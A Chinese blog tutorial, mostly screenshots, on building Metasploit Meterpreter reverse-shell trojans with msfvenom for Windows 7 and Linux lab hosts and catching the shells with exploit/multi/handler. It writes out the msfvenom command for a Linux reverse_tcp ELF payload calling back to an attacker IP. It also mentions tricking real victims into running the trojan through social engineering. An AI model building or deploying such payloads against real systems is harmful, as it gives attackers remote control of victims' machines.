MSF上线

末蓝、 2023-10-08 20:07 22阅读 0赞

**实验环境：**

**攻 击 机：kali-Linux**

**目标主机：windows7 / kali-Linux**

**工 具：msfvenom(kali预装)**

**windows7:**

1.首先关闭防火墙

控制面板-关闭windows防火墙

![f14db119ff004004b3e293f625711ae6.png][]

2.使用msfvenom生成木马

查看帮助

![1b5c79137cfb412093683b8f9d10d309.png][]

生成木马

![7fd4186aaa4c466a938e6b0688ab81ba.png][]

3.打开监听

打开MSF

![6edf22eaf7974ce38edca816eeebae13.png][]

使用侦听模块：use exploit/multi/handler

设置选项：show options

![b19a9fc69d5645cdbe189c48184ebdc9.png][]

设置IP和端口：

![560325d67a2a477aa5c5b744dc2421c0.png][]

运行发现报错

![e947f0c4b9224cb8bcf9204a3df7dac6.png][]

排查发现payload和生成木马的payload不一致

![4358045e18884777a1d5277b9ecb51cd.png][]

修改payload

![c340d0a05b734695899c411ba425ac44.png][]

4.在目标主机windows7打开.exe文件 \#实战中使用社工诱导目标打开木马![4f113d6d26b2487dbd712bb8d206b9d4.png][]

5.反弹shell，可执行命令

![f179aa8e3f2140739890272695fa2738.png][]

\#后渗透命令请参考：[后渗透命令参考][Link 1]

**Linux：**

目标主机是Linux x64系统

1.生成木马：  
msfvenom -p linux/x64/meterpreter/reverse\_tcp LHOST=攻击机IP LPORT=9999 -f elf > pb.elf![f46ca568f747428f87b9c50361150778.png][]

#### ELF：Executable and Linkable Format \#可执行与可链接格式 ####

2.打开监听

use exploit/multi/handler

![9b27ccab1058475199cdde7d364cb116.png][]

3. 设置IP和端口

![5ceb970620f04403b23a49d268a01552.png][]

4.设置payload：linux/x64/meterpreter/reverse\_tcp![038511a9b605433486aa2a1160b1baf3.png][]

![ea14e236f72e4f9daebb3b97ea14581a.png][]

6. 增加可执行权限![ff23327e75834d23b3feebd327836460.png][]

执行：chmod +x pb.elf![ebe9d1d4a59e4915b9860ffc4b48fa02.png][]

7.运行

反弹shell

![9ad7ebbcb30f413c827c00da19de7e4d.png][]

8.可执行命令

![65c68725670d4f1586003052e3c77428.png][]

以上内容仅作为学习交流之用！

[f14db119ff004004b3e293f625711ae6.png]: https://img-blog.csdnimg.cn/f14db119ff004004b3e293f625711ae6.png
[1b5c79137cfb412093683b8f9d10d309.png]: https://img-blog.csdnimg.cn/1b5c79137cfb412093683b8f9d10d309.png
[7fd4186aaa4c466a938e6b0688ab81ba.png]: https://img-blog.csdnimg.cn/7fd4186aaa4c466a938e6b0688ab81ba.png
[6edf22eaf7974ce38edca816eeebae13.png]: https://img-blog.csdnimg.cn/6edf22eaf7974ce38edca816eeebae13.png
[b19a9fc69d5645cdbe189c48184ebdc9.png]: https://img-blog.csdnimg.cn/b19a9fc69d5645cdbe189c48184ebdc9.png
[560325d67a2a477aa5c5b744dc2421c0.png]: https://img-blog.csdnimg.cn/560325d67a2a477aa5c5b744dc2421c0.png
[e947f0c4b9224cb8bcf9204a3df7dac6.png]: https://img-blog.csdnimg.cn/e947f0c4b9224cb8bcf9204a3df7dac6.png
[4358045e18884777a1d5277b9ecb51cd.png]: https://img-blog.csdnimg.cn/4358045e18884777a1d5277b9ecb51cd.png
[c340d0a05b734695899c411ba425ac44.png]: https://img-blog.csdnimg.cn/c340d0a05b734695899c411ba425ac44.png
[4f113d6d26b2487dbd712bb8d206b9d4.png]: https://img-blog.csdnimg.cn/4f113d6d26b2487dbd712bb8d206b9d4.png
[f179aa8e3f2140739890272695fa2738.png]: https://img-blog.csdnimg.cn/f179aa8e3f2140739890272695fa2738.png
[Link 1]: https://blog.csdn.net/weixin_51151498/article/details/128754277?spm=1001.2014.3001.5502
[f46ca568f747428f87b9c50361150778.png]: https://img-blog.csdnimg.cn/f46ca568f747428f87b9c50361150778.png
[9b27ccab1058475199cdde7d364cb116.png]: https://img-blog.csdnimg.cn/9b27ccab1058475199cdde7d364cb116.png
[5ceb970620f04403b23a49d268a01552.png]: https://img-blog.csdnimg.cn/5ceb970620f04403b23a49d268a01552.png
[038511a9b605433486aa2a1160b1baf3.png]: https://img-blog.csdnimg.cn/038511a9b605433486aa2a1160b1baf3.png
[ea14e236f72e4f9daebb3b97ea14581a.png]: https://img-blog.csdnimg.cn/ea14e236f72e4f9daebb3b97ea14581a.png
[ff23327e75834d23b3feebd327836460.png]: https://img-blog.csdnimg.cn/ff23327e75834d23b3feebd327836460.png
[ebe9d1d4a59e4915b9860ffc4b48fa02.png]: https://img-blog.csdnimg.cn/ebe9d1d4a59e4915b9860ffc4b48fa02.png
[9ad7ebbcb30f413c827c00da19de7e4d.png]: https://img-blog.csdnimg.cn/9ad7ebbcb30f413c827c00da19de7e4d.png
[65c68725670d4f1586003052e3c77428.png]: https://img-blog.csdnimg.cn/65c68725670d4f1586003052e3c77428.png